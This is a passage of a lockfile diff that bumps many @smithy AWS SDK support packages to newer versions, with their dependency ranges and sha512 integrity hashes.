"sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="], + "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-fzbCh18rscBDTQSCrsp1fGcclLNF//nJyhjldsEl/5wCYmgpHblv5JSppQAyQI24lClsFT0wV06N1Porn0IsEw=="], - "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="], + "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.11", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-MJ7HcI+jEkqoWT5vp+uoVaAjBrmxBtKhZTeynDRG/seEjJfqyg3SiqMMqyPnAMzmIfLaeJ/uiuSDP/l9AnMy/Q=="], - "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="], + "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.13", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ=="], - "@smithy/hash-blob-browser": ["@smithy/hash-blob-browser@4.0.1", "", { "dependencies": { "@smithy/chunked-blob-reader": "^5.0.0", "@smithy/chunked-blob-reader-native": "^4.0.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-rkFIrQOKZGS6i1D3gKJ8skJ0RlXqDvb1IyAphksaFOMzkn3v3I1eJ8m7OkLj0jf1McP63rcCEoLlkAn/HjcTRw=="], + "@smithy/hash-blob-browser": ["@smithy/hash-blob-browser@4.2.12", "", { "dependencies": { "@smithy/chunked-blob-reader": "^5.2.2", "@smithy/chunked-blob-reader-native": "^4.2.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-1wQE33DsxkM/waftAhCH9VtJbUGyt1PJ9YRDpOu+q9FUi73LLFUZ2fD8A61g2mT1UY9k7b99+V1xZ41Rz4SHRQ=="], - "@smithy/hash-node": ["@smithy/hash-node@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-TJ6oZS+3r2Xu4emVse1YPB3Dq3d8RkZDKcPr71Nj/lJsdAP1c7oFzYqEn1IBc915TsgLl2xIJNuxCz+gLbLE0w=="], + "@smithy/hash-node": ["@smithy/hash-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-T+p1pNynRkydpdL015ruIoyPSRw9e/SQOWmSAMmmprfswMrd5Ow5igOWNVlvyVFZlxXqGmyH3NQwfwy8r5Jx0A=="], - "@smithy/hash-stream-node": ["@smithy/hash-stream-node@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-U1rAE1fxmReCIr6D2o/4ROqAQX+GffZpyMt3d7njtGDr2pUNmAKRWa49gsNVhCh2vVAuf3wXzWwNr2YN8PAXIw=="], + "@smithy/hash-stream-node": ["@smithy/hash-stream-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-hQsTjwPCRY8w9GK07w1RqJi3e+myh0UaOWBBhZ1UMSDgofH/Q1fEYzU1teaX6HkpX/eWDdm7tAGR0jBPlz9QEQ=="], - "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gdudFPf4QRQ5pzj7HEnu6FhKRi61BfH/Gk5Yf6O0KiSbr1LlVhgjThcvjdu658VE6Nve8vaIWB8/fodmS1rBPQ=="], + "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-cGNMrgykRmddrNhYy1yBdrp5GwIgEkniS7k9O1VLB38yxQtlvrxpZtUVvo6T4cKpeZsriukBuuxfJcdZQc/f/g=="], - "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="], + "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow=="], - "@smithy/md5-js": ["@smithy/md5-js@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLZ647L27APi6zXkZlzSFZIjpo8po45YiyjMGJZM3gyDY8n7dPGdmxIIljLm4gPt/7rRvutLTTkYJpZVfG5r+A=="], + "@smithy/md5-js": ["@smithy/md5-js@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-350X4kGIrty0Snx2OWv7rPM6p6vM7RzryvFs6B/56Cux3w3sChOb3bymo5oidXJlPcP9fIRxGUCk7GqpiSOtng=="], - "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-OGXo7w5EkB5pPiac7KNzVtfCW2vKBTZNuCctn++TTSOMpe6RZO/n6WEC1AxJINn3+vWLKW49uad3lo/u0WJ9oQ=="], + "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.11", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-UvIfKYAKhCzr4p6jFevPlKhQwyQwlJ6IeKLDhmV1PlYfcW3RL4ROjNEDtSik4NYMi9kDkH7eSwyTP3vNJ/u/Dw=="], - "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.0.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-serde": "^4.0.2", "@smithy/node-config-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-ftpmkTHIFqgaFugcjzLZv3kzPEFsBFSnq1JsIkr2mwFzCraZVhQk2gqN51OOeRxqhbPTkRFj39Qd2V91E/mQxg=="], + "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.23", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-serde": "^4.2.12", "@smithy/node-config-provider": "^4.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw=="], - "@smithy/middleware-retry": ["@smithy/middleware-retry@4.0.7", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/service-error-classification": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "tslib": "^2.6.2", "uuid": "^9.0.1" } }, "sha512-58j9XbUPLkqAcV1kHzVX/kAR16GT+j7DUZJqwzsxh1jtz7G82caZiGyyFgUvogVfNTg3TeAOIJepGc8TXF4AVQ=="], + "@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.40", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/service-error-classification": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-YhEMakG1Ae57FajERdHNZ4ShOPIY7DsgV+ZoAxo/5BT0KIe+f6DDU2rtIymNNFIj22NJfeeI6LWIifrwM0f+rA=="], - "@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="], + "@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="], - "@smithy/middleware-stack": ["@smithy/middleware-stack@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dHwDmrtR/ln8UTHpaIavRSzeIk5+YZTBtLnKwDW3G2t6nAupCiQUvNzNoHBpik63fwUaJPtlnMzXbQrNFWssIA=="], + "@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg=="], - "@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="], + "@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="], - "@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.6", "", { "dependencies": { "@smithy/abort-controller": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Gsb9jf4ido5BhPfani4ggyrKDd3ZK+vTFWmUaZeFg5G3E5nhFmqiTzAIbHqmPs1sARuJawDiGMGR/nY+Gw6+aQ=="], + "@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.14", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A=="], "@smithy/property-provider": ["@smithy/property-provider@3.1.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahyOVR9Q4PEoguJ/NrFP4O7SMAfYO1HLhB18M+q+Z4KFd4V2obiMnlVoUFzFLSPeVt1POyNWneHHrZaTMoc/g=="], - "@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="], - "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-MeM9fTAiD3HvoInK/aA8mgJaKQDvm8N0dKy6EiFaCfgpovQr4CaOkJC28XqlSRABM+sHdSQXbC8NZ0DShBMHqg=="], + "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="], - "@smithy/querystring-parser": ["@smithy/querystring-parser@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Ma2XC7VS9aV77+clSFylVUnPZRindhB7BbmYiNOdr+CHt/kZNJoPP0cd3QxCnCFyPXC4eybmyE98phEHkqZ5Jw=="], + "@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ=="], - "@smithy/service-error-classification": ["@smithy/service-error-classification@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0" } }, "sha512-3JNjBfOWpj/mYfjXJHB4Txc/7E4LVq32bwzE7m28GN79+M1f76XHflUaSUkhOriprPDzev9cX/M+dEB80DNDKA=="], + "@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0" } }, "sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw=="], - "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="], + "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="], - "@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="], - "@smithy/smithy-client": ["@smithy/smithy-client@4.1.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-stack": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-UYDolNg6h2O0L+cJjtgSyKKvEKCOa/8FHYJnBobyeoeWDmNpXjwOAtw16ezyeu1ETuuLEOZbrynK0ZY1Lx9Jbw=="], + "@smithy/smithy-client": ["@smithy/smithy-client@4.12.3", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-endpoint": "^4.4.23", "@smithy/middleware-stack": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw=="], - "@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="], + "@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="], - "@smithy/url-parser": ["@smithy/url-parser@4.0.1", "", { "dependencies": { "@smithy/querystring-parser": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gPXcIEUtw7VlK8f/QcruNXm7q+T5hhvGu9tl63LsJPZ27exB6dtNwvh2HIi0v7JcXJ5emBxB+CJxwaLEdJfA+g=="], + "@smithy/url-parser": ["@smithy/url-parser@4.2.11", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing=="], - "@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="], + "@smithy/util-base64": ["@smithy/util-base64@4.3.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ=="], - "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="], + "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ=="], - "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-q0iDP3VsZzqJyje8xJWEJCNIu3lktUGVoSy1KB0UWym2CL1siV3artm+u1DFYTLejpsrdGyCSWBdGNjJzfDPjg=="], + "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g=="], - "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="], + "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.2", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q=="], - "@smithy/util-config-provider": ["@smithy/util-config-provider@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w=="], + "@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ=="], - "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.0.7", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-CZgDDrYHLv0RUElOsmZtAnp1pIjwDVCSuZWOPhIOBvG36RDfX1Q9+6lS61xBf+qqvHoqRjHxgINeQz47cYFC2Q=="], + "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.39", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ui7/Ho/+VHqS7Km2wBw4/Ab4RktoiSshgcgpJzC4keFPs6tLJS4IQwbeahxQS3E/w98uq6E1mirCH/id9xIXeQ=="], - "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.0.7", "", { "dependencies": { "@smithy/config-resolver": "^4.0.1", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-79fQW3hnfCdrfIi1soPbK3zmooRFnLpSx3Vxi6nUlqaaQeC5dm8plt4OTNDNqEEEDkvKghZSaoti684dQFVrGQ=="], + "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.42", "", { "dependencies": { "@smithy/config-resolver": "^4.4.10", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-QDA84CWNe8Akpj15ofLO+1N3Rfg8qa2K5uX0y6HnOp4AnRYRgWrKx/xzbYNbVF9ZsyJUYOfcoaN3y93wA/QJ2A=="], - "@smithy/util-endpoints": ["@smithy/util-endpoints@3.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-zVdUENQpdtn9jbpD9SCFK4+aSiavRb9BxEtw9ZGUR1TYo6bBHbIoi7VkrFQ0/RwZlzx0wRBaRmPclj8iAoJCLA=="], + "@smithy/util-endpoints": ["@smithy/util-endpoints@3.3.2", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-+4HFLpE5u29AbFlTdlKIT7jfOzZ8PDYZKTb3e+AgLz986OYwqTourQ5H+jg79/66DB69Un1+qKecLnkZdAsYcA=="], - "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg=="], - "@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="], - "@smithy/util-retry": ["@smithy/util-retry@4.0.1", "", { "dependencies": { "@smithy/service-error-classification": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-WmRHqNVwn3kI3rKk1LsKcVgPBG6iLTBGC1iYOV3GQegwJ3E8yjzHytPt26VNzOWr1qu0xE03nK0Ug8S7T7oufw=="], + "@smithy/util-retry": ["@smithy/util-retry@4.2.11", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XSZULmL5x6aCTTii59wJqKsY1l3eMIAomRAccW7Tzh9r8s7T/7rdo03oektuH5jeYRlJMPcNP92EuRDvk9aXbw=="], - "@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="], + "@smithy/util-stream": ["@smithy/util-stream@4.5.17", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ=="], - "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw=="], - "@smithy/util-utf8": 